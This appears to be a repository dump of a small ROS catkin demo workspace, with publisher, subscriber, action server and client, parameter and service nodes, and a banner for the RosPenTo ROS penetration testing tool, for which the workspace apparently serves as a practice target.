/catkin_workspaces/target_ws/.catkin_workspace: -------------------------------------------------------------------------------- 1 | # This file currently only serves to mark the location of a catkin workspace for tool integration 2 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # toplevel CMakeLists.txt for a catkin workspace 2 | # catkin/cmake/toplevel.cmake 3 | 4 | cmake_minimum_required(VERSION 3.0.2) 5 | 6 | project(Project) 7 | 8 | set(CATKIN_TOPLEVEL TRUE) 9 | 10 | # search for catkin within the workspace 11 | set(_cmd "catkin_find_pkg" "catkin" "${CMAKE_SOURCE_DIR}") 12 | execute_process(COMMAND ${_cmd} 13 | RESULT_VARIABLE _res 14 | OUTPUT_VARIABLE _out 15 | ERROR_VARIABLE _err 16 | OUTPUT_STRIP_TRAILING_WHITESPACE 17 | ERROR_STRIP_TRAILING_WHITESPACE 18 | ) 19 | if(NOT _res EQUAL 0 AND NOT _res EQUAL 2) 20 | # searching fot catkin resulted in an error 21 | string(REPLACE ";" " " _cmd_str "${_cmd}") 22 | message(FATAL_ERROR "Search for 'catkin' in workspace failed (${_cmd_str}): ${_err}") 23 | endif() 24 | 25 | # include catkin from workspace or via find_package() 26 | if(_res EQUAL 0) 27 | set(catkin_EXTRAS_DIR "${CMAKE_SOURCE_DIR}/${_out}/cmake") 28 | # include all.cmake without add_subdirectory to let it operate in same scope 29 | include(${catkin_EXTRAS_DIR}/all.cmake NO_POLICY_SCOPE) 30 | add_subdirectory("${_out}") 31 | 32 | else() 33 | # use either CMAKE_PREFIX_PATH explicitly passed to CMake as a command line argument 34 | # or CMAKE_PREFIX_PATH from the environment 35 | if(NOT DEFINED CMAKE_PREFIX_PATH) 36 | if(NOT "$ENV{CMAKE_PREFIX_PATH}" STREQUAL "") 37 | if(NOT WIN32) 38 | string(REPLACE ":" ";" CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) 39 | else() 40 | set(CMAKE_PREFIX_PATH $ENV{CMAKE_PREFIX_PATH}) 41 | endif() 42 | endif() 43 | endif() 44 | 45 | # list of catkin workspaces 46 | set(catkin_search_path "") 47 | foreach(path ${CMAKE_PREFIX_PATH}) 48 | if(EXISTS "${path}/.catkin") 49 | list(FIND catkin_search_path ${path} _index) 50 | if(_index EQUAL -1) 51 | list(APPEND catkin_search_path ${path}) 52 | endif() 53 | endif() 54 | endforeach() 55 | 56 | # search for catkin in all workspaces 57 | set(CATKIN_TOPLEVEL_FIND_PACKAGE TRUE) 58 | find_package(catkin QUIET 59 | NO_POLICY_SCOPE 60 | PATHS ${catkin_search_path} 61 | NO_DEFAULT_PATH NO_CMAKE_FIND_ROOT_PATH) 62 | unset(CATKIN_TOPLEVEL_FIND_PACKAGE) 63 | 64 | if(NOT catkin_FOUND) 65 | message(FATAL_ERROR "find_package(catkin) failed. catkin was neither found in the workspace nor in the CMAKE_PREFIX_PATH. One reason may be that no ROS setup.sh was sourced before.") 66 | endif() 67 | endif() 68 | 69 | catkin_workspace() 70 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.0.2) 2 | project(demo) 3 | 4 | ## Compile as C++11, supported in ROS Kinetic and newer 5 | # add_compile_options(-std=c++11) 6 | 7 | ## Find catkin macros and libraries 8 | ## if COMPONENTS list like find_package(catkin REQUIRED COMPONENTS xyz) 9 | ## is used, also find other catkin packages 10 | find_package(catkin REQUIRED COMPONENTS 11 | actionlib 12 | actionlib_msgs 13 | control_msgs 14 | trajectory_msgs 15 | roscpp 16 | std_msgs 17 | ) 18 | 19 | ## System dependencies are found with CMake's conventions 20 | # find_package(Boost REQUIRED COMPONENTS system) 21 | 22 | 23 | ## Uncomment this if the package has a setup.py. This macro ensures 24 | ## modules and global scripts declared therein get installed 25 | ## See http://ros.org/doc/api/catkin/html/user_guide/setup_dot_py.html 26 | # catkin_python_setup() 27 | 28 | ################################################ 29 | ## Declare ROS messages, services and actions ## 30 | ################################################ 31 | 32 | ## To declare and build messages, services or actions from within this 33 | ## package, follow these steps: 34 | ## * Let MSG_DEP_SET be the set of packages whose message types you use in 35 | ## your messages/services/actions (e.g. std_msgs, actionlib_msgs, ...). 36 | ## * In the file package.xml: 37 | ## * add a build_depend tag for "message_generation" 38 | ## * add a build_depend and a exec_depend tag for each package in MSG_DEP_SET 39 | ## * If MSG_DEP_SET isn't empty the following dependency has been pulled in 40 | ## but can be declared for certainty nonetheless: 41 | ## * add a exec_depend tag for "message_runtime" 42 | ## * In this file (CMakeLists.txt): 43 | ## * add "message_generation" and every package in MSG_DEP_SET to 44 | ## find_package(catkin REQUIRED COMPONENTS ...) 45 | ## * add "message_runtime" and every package in MSG_DEP_SET to 46 | ## catkin_package(CATKIN_DEPENDS ...) 47 | ## * uncomment the add_*_files sections below as needed 48 | ## and list every .msg/.srv/.action file to be processed 49 | ## * uncomment the generate_messages entry below 50 | ## * add every package in MSG_DEP_SET to generate_messages(DEPENDENCIES ...) 51 | 52 | ## Generate messages in the 'msg' folder 53 | # add_message_files( 54 | # FILES 55 | # Message1.msg 56 | # Message2.msg 57 | # ) 58 | 59 | ## Generate services in the 'srv' folder 60 | # add_service_files( 61 | # FILES 62 | # Service1.srv 63 | # Service2.srv 64 | # ) 65 | 66 | ## Generate actions in the 'action' folder 67 | # add_action_files( 68 | # FILES 69 | # Action1.action 70 | # Action2.action 71 | # ) 72 | 73 | ## Generate added messages and services with any dependencies listed here 74 | # generate_messages( 75 | # DEPENDENCIES 76 | # actionlib_msgs# control_msgs# std_msgs 77 | # ) 78 | 79 | ################################################ 80 | ## Declare ROS dynamic reconfigure parameters ## 81 | ################################################ 82 | 83 | ## To declare and build dynamic reconfigure parameters within this 84 | ## package, follow these steps: 85 | ## * In the file package.xml: 86 | ## * add a build_depend and a exec_depend tag for "dynamic_reconfigure" 87 | ## * In this file (CMakeLists.txt): 88 | ## * add "dynamic_reconfigure" to 89 | ## find_package(catkin REQUIRED COMPONENTS ...) 90 | ## * uncomment the "generate_dynamic_reconfigure_options" section below 91 | ## and list every .cfg file to be processed 92 | 93 | ## Generate dynamic reconfigure parameters in the 'cfg' folder 94 | # generate_dynamic_reconfigure_options( 95 | # cfg/DynReconf1.cfg 96 | # cfg/DynReconf2.cfg 97 | # ) 98 | 99 | ################################### 100 | ## catkin specific configuration ## 101 | ################################### 102 | ## The catkin_package macro generates cmake config files for your package 103 | ## Declare things to be passed to dependent projects 104 | ## INCLUDE_DIRS: uncomment this if your package contains header files 105 | ## LIBRARIES: libraries you create in this project that dependent projects also need 106 | ## CATKIN_DEPENDS: catkin_packages dependent projects also need 107 | ## DEPENDS: system dependencies of this project that dependent projects also need 108 | catkin_package( 109 | # INCLUDE_DIRS include 110 | # LIBRARIES demo 111 | # CATKIN_DEPENDS actionlib actionlib_msgs control_msgs roscpp std_msgs 112 | # DEPENDS system_lib 113 | ) 114 | 115 | ########### 116 | ## Build ## 117 | ########### 118 | 119 | ## Specify additional locations of header files 120 | ## Your package locations should be listed before other locations 121 | include_directories( 122 | # include 123 | ${catkin_INCLUDE_DIRS} 124 | ) 125 | 126 | add_executable(regular_publisher src/publisher/RegularPublisher.cpp) 127 | target_link_libraries(regular_publisher ${catkin_LIBRARIES}) 128 | 129 | add_executable(target_subscriber src/subscriber/TargetSubscriber.cpp) 130 | target_link_libraries(target_subscriber ${catkin_LIBRARIES}) 131 | 132 | add_executable(cancel_subscriber src/subscriber/GoalCancel.cpp) 133 | target_link_libraries(cancel_subscriber ${catkin_LIBRARIES}) 134 | 135 | add_executable(target_action_server src/actionserver/TargetActionServer.cpp) 136 | target_link_libraries(target_action_server ${catkin_LIBRARIES}) 137 | 138 | add_executable(target_action_client src/actionclient/TargetActionClient.cpp) 139 | target_link_libraries(target_action_client ${catkin_LIBRARIES}) 140 | 141 | add_executable(battery_level_simulator src/param/BatteryLevelSimulator.cpp) 142 | target_link_libraries(battery_level_simulator ${catkin_LIBRARIES}) 143 | 144 | add_executable(battery_level_monitor src/param/BatteryLevelMonitor.cpp) 145 | target_link_libraries(battery_level_monitor ${catkin_LIBRARIES}) 146 | 147 | add_executable(target_service_server src/serviceserver/CalibrationStateServiceServer.cpp) 148 | target_link_libraries(target_service_server ${catkin_LIBRARIES}) 149 | 150 | add_executable(target_service_client src/serviceclient/CalibrationStateServiceClient.cpp) 151 | target_link_libraries(target_service_client ${catkin_LIBRARIES}) 152 | 153 | ## Declare a C++ library 154 | # add_library(${PROJECT_NAME} 155 | # src/${PROJECT_NAME}/demo.cpp 156 | # ) 157 | 158 | ## Add cmake target dependencies of the library 159 | ## as an example, code may need to be generated before libraries 160 | ## either from message generation or dynamic reconfigure 161 | # add_dependencies(${PROJECT_NAME} ${${PROJECT_NAME}_EXPORTED_TARGETS} ${catkin_EXPORTED_TARGETS}) 162 | 163 | ## Declare a C++ executable 164 | ## With catkin_make all packages are built within a single CMake context 165 | ## The recommended prefix ensures that target names across packages don't collide 166 | # add_executable(${PROJECT_NAME}_node src/demo_node.cpp) 167 | 168 | ## Rename C++ executable without prefix 169 | ## The above recommended prefix causes long target names, the following renames the 170 | ## target back to the shorter version for ease of user use 171 | ## e.g. "rosrun someones_pkg node" instead of "rosrun someones_pkg someones_pkg_node" 172 | # set_target_properties(${PROJECT_NAME}_node PROPERTIES OUTPUT_NAME node PREFIX "") 173 | 174 | ## Add cmake target dependencies of the executable 175 | ## same as for the library above 176 | # add_dependencies(${PROJECT_NAME}_node ${${PROJECT_NAME}_EXPORTED_TARGETS} ${catkin_EXPORTED_TARGETS}) 177 | 178 | ## Specify libraries to link a library or executable target against 179 | # target_link_libraries(${PROJECT_NAME}_node 180 | # ${catkin_LIBRARIES} 181 | # ) 182 | 183 | ############# 184 | ## Install ## 185 | ############# 186 | 187 | # all install targets should use catkin DESTINATION variables 188 | # See http://ros.org/doc/api/catkin/html/adv_user_guide/variables.html 189 | 190 | ## Mark executable scripts (Python etc.) for installation 191 | ## in contrast to setup.py, you can choose the destination 192 | # catkin_install_python(PROGRAMS 193 | # scripts/my_python_script 194 | # DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION} 195 | # ) 196 | 197 | ## Mark executables for installation 198 | ## See http://docs.ros.org/melodic/api/catkin/html/howto/format1/building_executables.html 199 | # install(TARGETS ${PROJECT_NAME}_node 200 | # RUNTIME DESTINATION ${CATKIN_PACKAGE_BIN_DESTINATION} 201 | # ) 202 | 203 | ## Mark libraries for installation 204 | ## See http://docs.ros.org/melodic/api/catkin/html/howto/format1/building_libraries.html 205 | # install(TARGETS ${PROJECT_NAME} 206 | # ARCHIVE DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION} 207 | # LIBRARY DESTINATION ${CATKIN_PACKAGE_LIB_DESTINATION} 208 | # RUNTIME DESTINATION ${CATKIN_GLOBAL_BIN_DESTINATION} 209 | # ) 210 | 211 | ## Mark cpp header files for installation 212 | # install(DIRECTORY include/${PROJECT_NAME}/ 213 | # DESTINATION ${CATKIN_PACKAGE_INCLUDE_DESTINATION} 214 | # FILES_MATCHING PATTERN "*.h" 215 | # PATTERN ".svn" EXCLUDE 216 | # ) 217 | 218 | ## Mark other files for installation (e.g. launch and bag files, etc.) 219 | # install(FILES 220 | # # myfile1 221 | # # myfile2 222 | # DESTINATION ${CATKIN_PACKAGE_SHARE_DESTINATION} 223 | # ) 224 | 225 | ############# 226 | ## Testing ## 227 | ############# 228 | 229 | ## Add gtest based cpp test target and link libraries 230 | # catkin_add_gtest(${PROJECT_NAME}-test test/test_demo.cpp) 231 | # if(TARGET ${PROJECT_NAME}-test) 232 | # target_link_libraries(${PROJECT_NAME}-test ${PROJECT_NAME}) 233 | # endif() 234 | 235 | ## Add folders to be run by python nosetests 236 | # catkin_add_nosetests(test) 237 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/package.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | demo 4 | 0.0.0 5 | The demo package 6 | 7 | 8 | 9 | 10 | robotics 11 | 12 | 13 | 14 | 15 | 16 | TODO 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | catkin 52 | actionlib 53 | actionlib_msgs 54 | control_msgs 55 | trajectory_msgs 56 | roscpp 57 | std_msgs 58 | actionlib 59 | actionlib_msgs 60 | control_msgs 61 | trajectory_msgs 62 | roscpp 63 | std_msgs 64 | actionlib 65 | actionlib_msgs 66 | control_msgs 67 | trajectory_msgs 68 | roscpp 69 | std_msgs 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/actionclient/TargetActionClient.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "actionlib/client/simple_action_client.h" 6 | #include "control_msgs/FollowJointTrajectoryAction.h" 7 | using namespace std; 8 | 9 | double get_random_double() 10 | { 11 | return ceil((((double)rand() / RAND_MAX) * M_PI) * 100.0) / 100.0; 12 | } 13 | 14 | trajectory_msgs::JointTrajectoryPoint generateTrajectoryPoint() 15 | { 16 | trajectory_msgs::JointTrajectoryPoint point; 17 | 18 | point.positions = {get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double()}; 19 | point.velocities = {get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double()}; 20 | point.accelerations = {get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double(), get_random_double()}; 21 | 22 | return point; 23 | } 24 | 25 | int main(int argc, char **argv) 26 | { 27 | if (argc < 2) 28 | { 29 | cout << "[TargetActionClient] ... please provide number of points" << endl; 30 | return 0; 31 | } 32 | 33 | int number_of_points = atoi(argv[1]); 34 | 35 | ros::init(argc, argv, "TargetActionClient"); 36 | actionlib::SimpleActionClient actionClient("followJointTrajectory", true); 37 | actionClient.waitForServer(); 38 | cout << "[TargetActionClient] ... connected to action client" << endl; 39 | control_msgs::FollowJointTrajectoryGoal goal; 40 | trajectory_msgs::JointTrajectory trajectory; 41 | trajectory.joint_names = {"Base", "Shoulder", "Elbow", "Wrist1", "Wrist2", "Wrist3"}; 42 | vector pointVec; 43 | trajectory_msgs::JointTrajectoryPoint p1 = generateTrajectoryPoint(); 44 | trajectory_msgs::JointTrajectoryPoint p2 = generateTrajectoryPoint(); 45 | string key; 46 | 47 | for (int i=0; i> key; 58 | 59 | if (key == "y") 60 | { 61 | cout << "[TargetActionClient] ... canceling goal" << endl; 62 | actionClient.cancelGoal(); 63 | } 64 | else if (key == "n") 65 | { 66 | cout << "[TargetActionClient] ... goal will not be canceled" << endl; 67 | } 68 | else 69 | { 70 | cout << "[TargetActionClient] ... wrong key, ignoring..." << endl; 71 | } 72 | 73 | bool finished_before_timeout = actionClient.waitForResult(ros::Duration(number_of_points + 5)); 74 | 75 | if (finished_before_timeout) 76 | { 77 | actionlib::SimpleClientGoalState state = actionClient.getState(); 78 | cout << "[TargetActionClient] ... Action finished: " << state.toString().c_str() << endl; 79 | } 80 | else 81 | { 82 | actionlib::SimpleClientGoalState state = actionClient.getState(); 83 | cout << "[TargetActionClient] ... Action did not finish before timeout: " << state.toString().c_str() << endl; 84 | 85 | } 86 | 87 | return 0; 88 | } 89 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/actionserver/TargetActionServer.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "TargetActionServer.h" 4 | using namespace std; 5 | 6 | TargetActionServer::TargetActionServer() 7 | { 8 | _feedback.actual.positions.resize(6); 9 | _feedback.desired.positions.resize(6); 10 | ros::NodeHandle n; 11 | _targetActionServer = new TTargetActionServer(n, "followJointTrajectory", boost::bind(&TargetActionServer::executeJointCommand, this, _1), false); 12 | cout << "[TargetActionServer] ... Target Action Server created." << endl; 13 | 14 | _targetActionServer->start(); 15 | cout << "[TargetActionServer] ... Target Action Server started." << endl; 16 | } 17 | 18 | void TargetActionServer::executeJointCommand (const control_msgs::FollowJointTrajectoryGoalConstPtr &goal) 19 | { 20 | cout << "[TargetActionServer] ... Received Follow Joint Trajectory Action Goal: " << endl; 21 | 22 | for (const trajectory_msgs::JointTrajectoryPoint &point : goal->trajectory.points) 23 | { 24 | if (_targetActionServer->isPreemptRequested()) 25 | { 26 | cout << "[TargetActionServer] ... action aborted on clients behalf" << endl; 27 | _targetActionServer->setPreempted(); 28 | return; 29 | } 30 | 31 | cout << "[TargetActionServer] ... Heading towards [" << point.positions[0] << ", " << point.positions[1] << ", " << point.positions[2] << ", " << point.positions[3] << ", " << point.positions[4] << ", " << point.positions[5] << "]" << endl; 32 | sleep(1); 33 | } 34 | // _followJointTrajectoryActionServer->publishFeedback(feedback); 35 | 36 | cout << "[TargetActionServer] ... Action Goal succeeded." << endl; 37 | _result.error_code = control_msgs::FollowJointTrajectoryResult::SUCCESSFUL; 38 | _targetActionServer->setSucceeded(_result); 39 | } 40 | 41 | int main(int argc, char **argv) 42 | { 43 | ros::init(argc, argv, "TargetActionServer"); 44 | TargetActionServer actionServer; 45 | ros::spin(); 46 | 47 | return 0; 48 | } 49 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/actionserver/TargetActionServer.h: -------------------------------------------------------------------------------- 1 | #ifndef TARGET_ACTION_SERVER_H 2 | #define TARGET_ACTION_SERVER_H 3 | 4 | #include "ros/ros.h" 5 | #include "control_msgs/FollowJointTrajectoryAction.h" 6 | #include "actionlib/server/simple_action_server.h" 7 | 8 | class TargetActionServer 9 | { 10 | public: 11 | typedef actionlib::SimpleActionServer TTargetActionServer; 12 | typedef control_msgs::FollowJointTrajectoryFeedback TFeedback; 13 | typedef control_msgs::FollowJointTrajectoryResult TResult; 14 | 15 | TargetActionServer(); 16 | void executeJointCommand (const control_msgs::FollowJointTrajectoryGoalConstPtr &goal); 17 | 18 | private: 19 | TTargetActionServer *_targetActionServer; 20 | TFeedback _feedback; 21 | TResult _result; 22 | 23 | bool isPreemptRequested(); 24 | void setPreempted(); 25 | }; 26 | 27 | #endif // TARGET_ACTION_SERVER_H 28 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/param/BatteryLevelMonitor.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include 3 | using namespace std; 4 | 5 | int batteryLevel; 6 | 7 | int main(int argc, char **argv) 8 | { 9 | ros::init(argc, argv, "BatteryLevelMonitor"); 10 | ros::NodeHandle n; 11 | ros::Rate loop_rate(10); 12 | 13 | while (ros::ok()) 14 | { 15 | n.getParamCached("battery_level", batteryLevel); 16 | { 17 | if (batteryLevel <= 50) 18 | { 19 | cout << "[BatteryLevelMonitor] ... current battery level: " << batteryLevel << " [WARNING]" << endl; 20 | } 21 | else 22 | { 23 | cout << "[BatteryLevelMonitor] ... current battery level: " << batteryLevel << " [OK]" << endl; 24 | } 25 | } 26 | 27 | // ros::spinOnce(); 28 | loop_rate.sleep(); 29 | } 30 | 31 | return 0; 32 | } 33 | 34 | 35 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/param/BatteryLevelSimulator.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include 3 | using namespace std; 4 | 5 | int main(int argc, char **argv) 6 | { 7 | ros::init(argc, argv, "BatteryLevelSimulator"); 8 | ros::NodeHandle n; 9 | ros::Rate loop_rate(1); 10 | int batteryLevel = 100; 11 | 12 | while (ros::ok() && (batteryLevel >= 0)) 13 | { 14 | n.setParam("/battery_level", batteryLevel); 15 | cout << "[BatteryLevelSimulator] ... current battery level: " << batteryLevel << endl; 16 | // ros::spinOnce(); 17 | loop_rate.sleep(); 18 | batteryLevel -= 1; 19 | } 20 | 21 | return 0; 22 | } 23 | 24 | 25 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/publisher/RegularPublisher.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "std_msgs/String.h" 3 | 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | int main(int argc, char **argv) 9 | { 10 | ros::init(argc, argv, "RegularPublisher"); 11 | ros::NodeHandle n; 12 | ros::Publisher chatter_pub = n.advertise("chatter", 1000); 13 | ros::Rate loop_rate(10); 14 | int count = 0; 15 | 16 | cout << "[RegularPublisher] ... started publishing" << endl; 17 | 18 | while (ros::ok()) 19 | { 20 | std_msgs::String msg; 21 | std::stringstream ss; 22 | ss << "Message from regular publisher " << count; 23 | msg.data = ss.str(); 24 | chatter_pub.publish(msg); 25 | ros::spinOnce(); 26 | loop_rate.sleep(); 27 | ++count; 28 | } 29 | 30 | return 0; 31 | } 32 | 33 | 34 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/serviceclient/CalibrationStateServiceClient.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "control_msgs/QueryCalibrationState.h" 3 | #include 4 | using namespace std; 5 | 6 | int main(int argc, char **argv) 7 | { 8 | ros::init(argc, argv, "CalibrationStateServiceClient"); 9 | ros::NodeHandle n; 10 | ros::Rate loop_rate(1); 11 | ros::ServiceClient calibrationStateClient = n.serviceClient("calibration_state"); 12 | control_msgs::QueryCalibrationState srv; 13 | 14 | while (ros::ok()) 15 | { 16 | if (calibrationStateClient.call(srv)) 17 | { 18 | if (srv.response.is_calibrated) 19 | { 20 | cout << "[CalibrationStateServiceClient] ... robot is calibrated" << endl; 21 | } 22 | else 23 | { 24 | cout << "[CalibrationStateServiceClient] ... robot is not calibrated" << endl; 25 | } 26 | } 27 | else 28 | { 29 | cout << "[CalibrationStateServiceClient] ... error while calling service server" << endl; 30 | } 31 | 32 | // ros::spinOnce(); 33 | loop_rate.sleep(); 34 | } 35 | 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/serviceserver/CalibrationStateServiceServer.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "control_msgs/QueryCalibrationState.h" 3 | #include 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | 9 | bool calibrationStateCallback(control_msgs::QueryCalibrationState::Request &req, control_msgs::QueryCalibrationState::Response &res) 10 | { 11 | int random = rand() % 2; 12 | 13 | if (random == 0) 14 | { 15 | res.is_calibrated = false; 16 | } 17 | 18 | if (random == 1) 19 | { 20 | res.is_calibrated = true; 21 | } 22 | 23 | return true; 24 | } 25 | 26 | int main(int argc, char **argv) 27 | { 28 | ros::init(argc, argv, "CalibrationStateServiceServer"); 29 | ros::NodeHandle n; 30 | srand(time(NULL)); 31 | ros::ServiceServer calibrationStateServer = n.advertiseService("calibration_state", calibrationStateCallback); 32 | cout << "[CalibrationStateServiceServer] ... started service" << endl; 33 | ros::spin(); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/subscriber/GoalCancel.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "std_msgs/String.h" 3 | #include "actionlib_msgs/GoalID.h" 4 | #include 5 | using namespace std; 6 | 7 | void cancelCallback(const actionlib_msgs::GoalID::ConstPtr& msg) 8 | { 9 | cout << "[GoalCancel] ... " << msg->id.c_str() << endl; 10 | } 11 | 12 | int main(int argc, char **argv) 13 | { 14 | ros::init(argc, argv, "GoalCancel"); 15 | ros::NodeHandle n; 16 | ros::Subscriber sub = n.subscribe("followJointTrajectory/cancel", 1000, cancelCallback); 17 | ros::spin(); 18 | 19 | return 0; 20 | } 21 | 22 | -------------------------------------------------------------------------------- /catkin_workspaces/target_ws/src/demo/src/subscriber/TargetSubscriber.cpp: -------------------------------------------------------------------------------- 1 | #include "ros/ros.h" 2 | #include "std_msgs/String.h" 3 | #include 4 | using namespace std; 5 | 6 | void chatterCallback(const std_msgs::String::ConstPtr& msg) 7 | { 8 | cout << "[TargetSubscriber] ... " << msg->data.c_str() << endl; 9 | } 10 | 11 | int main(int argc, char **argv) 12 | { 13 | ros::init(argc, argv, "TargetSubscriber"); 14 | ros::NodeHandle n; 15 | ros::Subscriber sub = n.subscribe("chatter", 1000, chatterCallback); 16 | ros::spin(); 17 | 18 | return 0; 19 | } 20 | 21 | -------------------------------------------------------------------------------- /launch_script.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # source ROS installation 4 | source /opt/ros/kinetic/setup.bash 5 | 6 | # Launch ROS in the default port 7 | # roscore & 8 | # sleep 4 9 | 10 | # Get a prompt 11 | bash 12 | -------------------------------------------------------------------------------- /motd: -------------------------------------------------------------------------------- 1 | ____ ___ ____ ____ _____ 2 | | _ \ / _ \/ ___|| _ \ ___ _ _|_ _|__ 3 | | |_) | | | \___ \| |_) / _ \ '_ \| |/ _ \ 4 | | _ <| |_| |___) | __/ __/ | | | | (_) | 5 | |_| \_\\___/|____/|_| \___|_| |_|_|\___/ 6 | 7 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 8 | 9 | Copyright(C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 10 | This program comes with ABSOLUTELY NO WARRANTY. 11 | This is free software, and you are welcome to redistribute it under certain 12 | conditions. For more details see the GNU General Public License at 13 | . 14 | 15 | Disclaimer: 16 | ---------- 17 | By no means do we want to encourage or promote the unauthorized tampering 18 | with running robotic applications since this can cause damage and serious 19 | harm. 20 | 21 | Nevertheless, we think it is important to show that those vulnerabilities 22 | exist and to make the ROS community aware how easily an application can be 23 | undermined. 24 | --------------------------------------------------------------------------------